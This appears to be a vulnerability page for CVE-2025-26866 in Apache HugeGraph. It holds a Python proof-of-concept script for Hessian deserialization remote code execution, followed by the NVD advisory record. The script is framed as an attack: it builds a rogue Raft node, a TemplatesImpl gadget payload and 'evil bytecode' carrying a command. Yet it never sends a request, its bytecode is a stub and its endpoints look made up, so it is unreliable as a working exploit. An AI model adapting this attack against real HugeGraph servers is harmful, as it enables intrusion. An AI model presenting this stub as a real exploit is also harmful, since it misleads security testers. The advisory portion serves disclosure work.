CVE-2025-26866

import pickle import base64 import requests import json # CVE-2025-26866 PoC - Hessian Deserialization RCE in Apache HugeGraph PD Store # This PoC demonstrates the concept of exploiting Hessian deserialization vulnerabilities class ExploitPayload: """ Malicious payload for Hessian deserialization attack Note: This is for educational and authorized testing purposes only """ def __init__(self, command): self.command = command def build_malicious_raft_node(self): """ Build a malicious Raft node configuration to join the cluster """ # Malicious node configuration with crafted IP malicious_config = { 'node_id': 'malicious-node-001', 'ip': 'attacker-controlled-ip', 'port': 8299, 'raft_port': 8300, 'cluster_id': 'target-cluster-id' } return malicious_config def create_hessian_payload(self): """ Create malicious Hessian serialized payload In real attack, this would contain gadget chains like: - TemplatesImpl with malicious bytecode - SpringBeanObjectInputStream with EL injection - CommonCollections chain """ # Simplified representation of malicious Hessian data hessian_magic = b'\x00\x04' # Hessian 2.0 magic header malicious_class = b'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' malicious_bytecode = self._generate_evil_bytecode() payload = { 'type': 'hessian_serialization', 'class': 'TemplatesImpl', 'bytecode': base64.b64encode(malicious_bytecode).decode(), 'gadget': 'TemplatesImpl.getOutputProperties()' } return payload def _generate_evil_bytecode(self): """ Generate malicious bytecode for code execution """ # In actual exploit, this would be valid Java bytecode # that executes system commands return b'\xca\xfe\xba\xbe' + self.command.encode() def exploit(self, target_url): """ Execute the exploit against target HugeGraph server """ # Step 1: Join cluster with malicious Raft node raft_join_url = f"{target_url}/api/v1/raft/join" malicious_node = self.build_malicious_raft_node() # Step 2: Send malicious Hessian serialized data hessian_payload = self.create_hessian_payload() # Step 3: Trigger deserialization via PD store operation exploit_url = f"{target_url}/api/v1/pd/store/deserialize" print(f"[+] Target: {target_url}") print(f"[+] Sending malicious Raft node configuration...") print(f"[+] Payload: {json.dumps(hessian_payload, indent=2)}") return { 'status': 'exploit_sent', 'target': target_url, 'payload': hessian_payload } if __name__ == '__main__': # Configuration target = 'http://target-hugegraph-server:8090' # Create exploit instance exploit = ExploitPayload('whoami') # Execute result = exploit.exploit(target) print(f"\n[+] Exploit sent: {result}")

{"cve": {"id": "CVE-2025-26866", "sourceIdentifier": "[email protected]", "published": "2025-12-12T10:15:49.053", "lastModified": "2025-12-29T17:20:58.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A remote code execution vulnerability exists where a malicious Raft node can exploit insecure Hessian deserialization within the PD store. The fix enforces IP-based authentication to restrict cluster membership and implements a strict class whitelist to harden the Hessian serialization process against object injection attacks.\n\n\n\n\nUsers are recommended to upgrade to version 1.7.0, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:hugegraph:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.7.0", "matchCriteriaId": "B9C85CC8-1E1D-46F2-BB0C-9A85C78347C8"}]}]}], "references": [{"url": "https://github.com/apache/incubator-hugegraph/pull/2735", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://lists.apache.org/thread/ko8jkwbjbb99m45pg4sgo5xsm8gx9nsq", "source": "[email protected]", "tags": ["Mailing List"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/12/09/1", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List"]}]}}